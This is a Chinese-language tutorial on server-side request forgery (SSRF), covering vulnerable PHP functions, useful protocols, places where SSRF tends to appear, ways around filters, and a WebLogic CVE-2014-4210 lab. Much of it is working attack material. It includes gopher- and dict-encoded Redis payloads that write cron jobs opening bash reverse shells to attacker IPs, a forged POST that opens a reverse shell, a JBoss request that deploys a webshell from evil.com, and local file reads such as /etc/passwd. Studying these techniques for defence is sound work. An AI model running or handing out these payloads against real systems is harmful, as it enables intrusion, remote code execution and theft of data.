SSRF服务器端请求伪造攻击
一、SSRF概述
SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞。
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者—–>服务器—–>目标地址
根据后台使用函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents() |
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
你可以根据“SSRF”里面的项目来搞懂问题的原因
二、原理
很多Web应用都提供了从其他的服务器上获取数据的功能,根据用户指定的URL,Web应用便可以获取图片,下载文件,读取文件内容等。SSRF的实质是利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。一般情况下,SSRF攻击的目标是外网无法访问的内部系统,黑客可以利用SSRF漏洞获取内部系统的一些信息(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
三、利用SSRF可以实现的攻击
攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。
- 对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的Banner信息
- 攻击运行在内网或本地的应用程序
- 对内网Web应用进行指纹识别,识别企业内部的资产信息
- 攻击内外网的Web应用,主要是使用GET请求就可以实现的攻击(比如: Struts2、 sqli)
- 下载内网资源(如:利用
file
协议读取本地文件等) - 进行跳板
- 无视cdn
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
四、SSRF漏洞相关函数和协议
1、PHP函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
(1)file_get_contents()
file_get_contents
函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_contents
函数把一个字符串写入文件中。
比如以下代码在Win10上部署,这段代码使用file_get_contents()
函数从用户指定的URL获取图片并展示给用户。和Win10同一内网的Kali在8000端口服务开启了只供内部人员使用的资料比如ssrf_flag,此时如果攻击者提交如下Payload,就可以获取到内网主机HTTP服务8000端口的开放情况
|
(2)fsockopen()
|
(3)curl_exec()
|
(4)注意
1. 一般情况下PHP不会开启fopen的gopher wrapper |
2、协议
(1)file
在有回显的情况下,利用 file 协议可以读取任意内容
file:///etc/passwd |
(2)dict
泄露安装软件版本信息,查看端口,操作内网Redis服务等
dict://192.168.15.111:22 //读取本地服务器22端口信息 |
(3)Gopher
Gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合Gopher协议的请求。Gopher协议是SSRF利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s
探测内网主机存活
五、容易出现SSRF漏洞的地方
(1)从WEB功能上寻找
- 分享:通过URL地址分享网页内容
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
- 图片加载与下载:通过URL地址加载或下载图片
- 图片、文章收藏功能
- 未公开的api实现
- 网站采集、网页抓取的地方。
- 头像的地方。(远程加载头像)
- 一切要你输入网址的地方和可以输入ip的地方。
(2)从URL关键字中寻找
share |
六、SSRF漏洞利用
1、本地利用
以curl举例,查看 curl 支持的协议列表 curl -V
(1)使用file协议 file protocol (任意文件读取)
curl -v 'file:///etc/passwd' |
(2)使用dict协议 dict protocol (获取Redis配置信息)
curl -v 'dict://127.0.0.1:6379/info' |
(3)使用Gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)
curl -v 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a' |
2、远程利用
(1)环境
攻击机ip:192.168.201.129、121.36.67.230 |
关闭了防跨站攻击
(2)远程利用示例代码
ssrf.php
|
post.php
<html> |
(3)远程利用方式
a、利用file协议
任意文件读取
curl -v 'http://ssrf.xxx.com/ssrf.php?url=file:///etc/passwd' |
b、利用dict协议
(1)查看端口及端口上运行服务的版本信息
curl -v 'http://ssrf.xxx.com/ssrf.php?url=dict://127.0.0.1:22/' |
说明22端口开放
(2)通过dict协议GetShell
有关dict协议:向服务器的端口请求 命令:参数
,并在末尾自动补上\r\n(CRLF)
。
dict协议要一条一条的执行,而Gopher协议执行一条命令就行了。
c、利用Gopher协议
(1)攻击内网Redis并反弹shell
利用Redis未授权访问攻击Redis
攻击Redis的exp
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 |
从而捕获到数据,并进行转换,转换规则如下:
如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。 |
结合Gopher协议攻击内网Redis,使用上边捕获数据的转换结果即可,然后进行反弹Shell:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a' |
反弹成功
http://39.x.x.x:8000/ssrf.php是存在SSRF漏洞的Web服务 |
(2)伪造POST请求反弹Shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261' |
反弹成功
192.168.1.5是内网Web服务,有post.php |
d、利用http/s协议
(1)探测内网主机存活
说明内网ip为192.168.1.3的主机存活
(2)端口扫描
http://example.com/ssrf.php?url=http://192.168.0.108:21/ |
可通过应用响应时间、返回的错误信息,返回的服务Banner来判断端口是否开放,如图所示
上面两张图中,左侧为访问22端口并从错误信息中返回Banner,右侧为访问21端口被拒绝(未开放)。当PHP未开启显错模式时,可通过响应时间来判断端口是否开放。本人实验结果是开放端口响应更快。
(3)对内网Web应用进行指纹识别及攻击其中存在漏洞的应用
大多数Web应用都有一些独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本。基于此特点可利用SSRF漏洞对内网Web应用进行指纹识别,如下Payload可以识别主机是否安装了WordPress
http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A443%2Fwp-content%2Fthemes%2Fdefault%2Faudio.jpg |
得到应用指纹后,便能有针对性地对其存在的漏洞进行利用。如下Payload展示了如何利用SSRF漏洞攻击内网的JBoss应用:
http://example.com/ssrf.php?url=https%3A%2F%2F127.0.0.1%3A8080%2Fjmx-console%2FHtmlAdaptor%3Faction%3DinvokeOp%26name%3Djboss.system%253Aservice%253DMainDeployer%26methodIndex%3D3%26arg0%3Dhttp%253A%252F%252Fevil.com%252Fwebshell.war |
e、命令执行
PHP环境下如果安装了expect扩展,还可以通过expect协议执行系统命令,如:
http://example.com/ssrf.php?url=expect://id |
七、防护绕过
1、常见防护方式
很多开发者使用正则表达式端方式对SSRF中的请求地址进行过滤,具体表现如下:
- 限制请求特定域名
- 禁止请求内网IP
然而,这两种过滤都很容易被绕过,可用的方法具体如下:
2、防护绕过
(1)使用@
使用 http://example.com@eval.com
这种格式来绕过正则
在对@解析域名中,不同的处理函数存在处理差异,如:http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com
,而libcurl
则识别为www.bbb.com
(2)另类IP地址写法
IP地址转为进制(八进制、十进制、十六进制)及IP地址省略写法,举例说明如下
[+] 0177.000.00.01 八进制 |
(3)配置域名
如果我们手中有可控域名,则可根据那个域名A记录指向欲请求的IP进行绕过操作:
evil.example.com => 10.0.18.3 |
或者利用DNS解析为指定的域名,evil.example.com可以指向任意域名
evil.example.com => heihei.com |
(4)利用[::]绕过localhost
可以利用[::]
来绕过localhost
http://[::]:80/ >>> http://127.0.0.1 |
(5)添加端口号
http://127.0.0.1:8080 |
(6)利用短网址
(7)句号
127。0。0。1 >>> 127.0.0.1 |
(8)302跳转
使用https://tinyurl.com生成302跳转地址
3、常见绕过形式
(1)限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com |
(2)限制请求IP不为内网地址
当不允许ip为内网地址时
- 采取短网址绕过
- 采取特殊域名
- 采取进制转换
(3)限制请求只为HTTP协议
- 采取302跳转
- 采取短地址
八、实战
1、weblogic ssrf攻击redis
CVE-2014-4210
下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
编译并启动环境
docker-compose build |
访问http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
(1)查看端口
http://192.168.0.108:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001`,访问一个可以访问的`IP:PORT`,如`http://127.0.0.1:7001`, 访问的端口将会得到错误,一般是返回`status code`(如下图),如果访问的非http协议,则会返回`did not have a valid SOAP content-type |
修改为一个不存在的端口,将会返回could not connect over HTTP to server
通过错误的不同,即可探测内网状态。
(2)注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:
发送三条Redis命令,将反弹shell脚本写入/etc/crontab
定时任务:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/1.15.35.104/4444 0>&1'\n\n\n\n" |
进行url编码:
set%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave |
注意,换行符是 \r\n
,也就是 %0D%0A
。
将url编码后的字符串放在ssrf的域名后面,发送:
http://192.168.0.108:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test/%0d%0a%0d%0aset%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2fevil%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave |